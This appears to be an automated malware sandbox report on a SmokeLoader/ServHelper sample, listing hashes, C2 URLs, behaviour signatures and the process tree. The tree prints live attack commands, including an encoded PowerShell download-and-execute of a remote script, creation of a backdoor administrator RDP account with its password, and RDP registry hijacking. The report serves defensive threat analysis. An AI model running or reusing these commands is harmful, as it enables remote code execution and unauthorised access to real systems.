Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
119s -
platform
windows7_x64 -
resource
win7-en-20211014 -
submitted
18/10/2021, 12:00
Static task
static1
Behavioral task
behavioral1
Sample
580fc5cd72d7979040fa1c4866ada3d0.exe
Resource
win7-en-20211014
Behavioral task
behavioral2
Sample
580fc5cd72d7979040fa1c4866ada3d0.exe
Resource
win10-en-20210920
General
-
Target
580fc5cd72d7979040fa1c4866ada3d0.exe
-
Size
343KB
-
MD5
580fc5cd72d7979040fa1c4866ada3d0
-
SHA1
7da202d99be94f57f355c611bafde9656bca65b7
-
SHA256
42e7ef551c652a5e6f0ff919fcb53cd2c34682006cb1436295205a41abec6589
-
SHA512
b1be0be516e0d36c4b2e2f9e82e5cd94fecc86c39a4eee4494174f55e319a4c72d529e2aa097d3d466c5613df4106624fd689e6a1441e6be4a7bf9a15dc44815
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Extracted
smokeloader
2020
http://directorycart.com/upload/
http://tierzahnarzt.at/upload/
http://streetofcards.com/upload/
http://ycdfzd.com/upload/
http://successcoachceo.com/upload/
http://uhvu.cn/upload/
http://japanarticle.com/upload/
Signatures
-
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 2 IoCs
flow pid Process 33 2044 powershell.exe 34 2044 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
pid Process 1060 3505.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Possible privilege escalation attempt 8 IoCs
pid Process 288 icacls.exe 1732 icacls.exe 668 icacls.exe 1992 icacls.exe 1824 takeown.exe 1256 icacls.exe 1952 icacls.exe 1888 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
-
resource yara_rule behavioral1/files/0x000a0000000121f7-142.dat upx behavioral1/files/0x001600000000f5e9-143.dat upx -
Deletes itself 1 IoCs
pid Process 1304 Process not Found -
Loads dropped DLL 4 IoCs
pid Process 1304 Process not Found 1304 Process not Found 1548 Process not Found 1548 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 1824 takeown.exe 1256 icacls.exe 1952 icacls.exe 1888 icacls.exe 288 icacls.exe 1732 icacls.exe 668 icacls.exe 1992 icacls.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\branding\ShellBrd powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BOT2Z8X06IHI6LWYD7WG.temp powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 580fc5cd72d7979040fa1c4866ada3d0.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 580fc5cd72d7979040fa1c4866ada3d0.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 580fc5cd72d7979040fa1c4866ada3d0.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a0c09ab128c4d701 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1196 reg.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1336 580fc5cd72d7979040fa1c4866ada3d0.exe 1336 580fc5cd72d7979040fa1c4866ada3d0.exe 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1304 Process not Found -
Suspicious behavior: LoadsDriver 4 IoCs
pid Process 464 Process not Found 1548 Process not Found 1548 Process not Found 1548 Process not Found -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 1336 580fc5cd72d7979040fa1c4866ada3d0.exe -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 508 powershell.exe Token: SeDebugPrivilege 1276 powershell.exe Token: SeDebugPrivilege 1908 powershell.exe Token: SeDebugPrivilege 1776 powershell.exe Token: SeRestorePrivilege 1952 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1876 WMIC.exe Token: SeIncreaseQuotaPrivilege 1876 WMIC.exe Token: SeAuditPrivilege 1876 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1876 WMIC.exe Token: SeIncreaseQuotaPrivilege 1876 WMIC.exe Token: SeAuditPrivilege 1876 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1728 WMIC.exe Token: SeIncreaseQuotaPrivilege 1728 WMIC.exe Token: SeAuditPrivilege 1728 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1728 WMIC.exe Token: SeIncreaseQuotaPrivilege 1728 WMIC.exe Token: SeAuditPrivilege 1728 WMIC.exe Token: SeDebugPrivilege 2044 powershell.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found -
Suspicious use of SendNotifyMessage 4 IoCs
pid Process 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1304 wrote to memory of 1060 1304 Process not Found 27 PID 1304 wrote to memory of 1060 1304 Process not Found 27 PID 1304 wrote to memory of 1060 1304 Process not Found 27 PID 1060 wrote to memory of 508 1060 3505.exe 29 PID 1060 wrote to memory of 508 1060 3505.exe 29 PID 1060 wrote to memory of 508 1060 3505.exe 29 PID 508 wrote to memory of 1560 508 powershell.exe 31 PID 508 wrote to memory of 1560 508 powershell.exe 31 PID 508 wrote to memory of 1560 508 powershell.exe 31 PID 1560 wrote to memory of 832 1560 csc.exe 32 PID 1560 wrote to memory of 832 1560 csc.exe 32 PID 1560 wrote to memory of 832 1560 csc.exe 32 PID 508 wrote to memory of 1276 508 powershell.exe 33 PID 508 wrote to memory of 1276 508 powershell.exe 33 PID 508 wrote to memory of 1276 508 powershell.exe 33 PID 508 wrote to memory of 1908 508 powershell.exe 35 PID 508 wrote to memory of 1908 508 powershell.exe 35 PID 508 wrote to memory of 1908 508 powershell.exe 35 PID 508 wrote to memory of 1776 508 powershell.exe 37 PID 508 wrote to memory of 1776 508 powershell.exe 37 PID 508 wrote to memory of 1776 508 powershell.exe 37 PID 508 wrote to memory of 1824 508 powershell.exe 41 PID 508 wrote to memory of 1824 508 powershell.exe 41 PID 508 wrote to memory of 1824 508 powershell.exe 41 PID 508 wrote to memory of 1256 508 powershell.exe 42 PID 508 wrote to memory of 1256 508 powershell.exe 42 PID 508 wrote to memory of 1256 508 powershell.exe 42 PID 508 wrote to memory of 1952 508 powershell.exe 43 PID 508 wrote to memory of 1952 508 powershell.exe 43 PID 508 wrote to memory of 1952 508 powershell.exe 43 PID 508 wrote to memory of 1888 508 powershell.exe 44 PID 508 wrote to memory of 1888 508 powershell.exe 44 PID 508 wrote to memory of 1888 508 powershell.exe 44 PID 508 wrote to memory of 288 508 powershell.exe 45 PID 508 wrote to memory of 288 508 powershell.exe 45 PID 508 wrote to memory of 288 508 powershell.exe 45 PID 508 wrote to memory of 1732 508 powershell.exe 46 PID 508 wrote to memory of 1732 508 powershell.exe 46 PID 508 wrote to memory of 1732 508 powershell.exe 46 PID 508 wrote to memory of 668 508 powershell.exe 47 PID 508 wrote to memory of 668 508 powershell.exe 47 PID 508 wrote to memory of 668 508 powershell.exe 47 PID 508 wrote to memory of 1992 508 powershell.exe 48 PID 508 wrote to memory of 1992 508 powershell.exe 48 PID 508 wrote to memory of 1992 508 powershell.exe 48 PID 508 wrote to memory of 1900 508 powershell.exe 49 PID 508 wrote to memory of 1900 508 powershell.exe 49 PID 508 wrote to memory of 1900 508 powershell.exe 49 PID 508 wrote to memory of 1196 508 powershell.exe 50 PID 508 wrote to memory of 1196 508 powershell.exe 50 PID 508 wrote to memory of 1196 508 powershell.exe 50 PID 508 wrote to memory of 268 508 powershell.exe 51 PID 508 wrote to memory of 268 508 powershell.exe 51 PID 508 wrote to memory of 268 508 powershell.exe 51 PID 508 wrote to memory of 1960 508 powershell.exe 52 PID 508 wrote to memory of 1960 508 powershell.exe 52 PID 508 wrote to memory of 1960 508 powershell.exe 52 PID 1960 wrote to memory of 1632 1960 net.exe 53 PID 1960 wrote to memory of 1632 1960 net.exe 53 PID 1960 wrote to memory of 1632 1960 net.exe 53 PID 508 wrote to memory of 1596 508 powershell.exe 54 PID 508 wrote to memory of 1596 508 powershell.exe 54 PID 508 wrote to memory of 1596 508 powershell.exe 54 PID 1596 wrote to memory of 672 1596 cmd.exe 55
Processes
-
C:\Users\Admin\AppData\Local\Temp\580fc5cd72d7979040fa1c4866ada3d0.exe"C:\Users\Admin\AppData\Local\Temp\580fc5cd72d7979040fa1c4866ada3d0.exe"1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1336
-
C:\Users\Admin\AppData\Local\Temp\3505.exeC:\Users\Admin\AppData\Local\Temp\3505.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1060 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:508 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xuqzu0ug.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6AB6.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6AB5.tmp"4⤵PID:832
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1276
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1908
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1776
-
-
C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1824
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1256
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1952
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1888
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:288
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1732
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:668
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1992
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1900
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1196
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:268
-
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1632
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1596 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵PID:672
-
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1676
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:876
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1380
-
C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1956
-
C:\Windows\system32\net.exenet start TermService5⤵PID:1476
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1368
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1632
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:1824
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:948
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:956
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:1576
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc Kfwga2DO /add1⤵PID:1736
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc Kfwga2DO /add2⤵PID:1756
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc Kfwga2DO /add3⤵PID:1096
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:1528
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1464
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1600
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD1⤵PID:1676
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD2⤵PID:1472
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD3⤵PID:1632
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:992
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:1184
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1576
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc Kfwga2DO1⤵PID:944
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc Kfwga2DO2⤵PID:1824
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc Kfwga2DO3⤵PID:1724
-
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1960
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1876
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:1632
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1728
-
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:992
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1628
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2044
-
-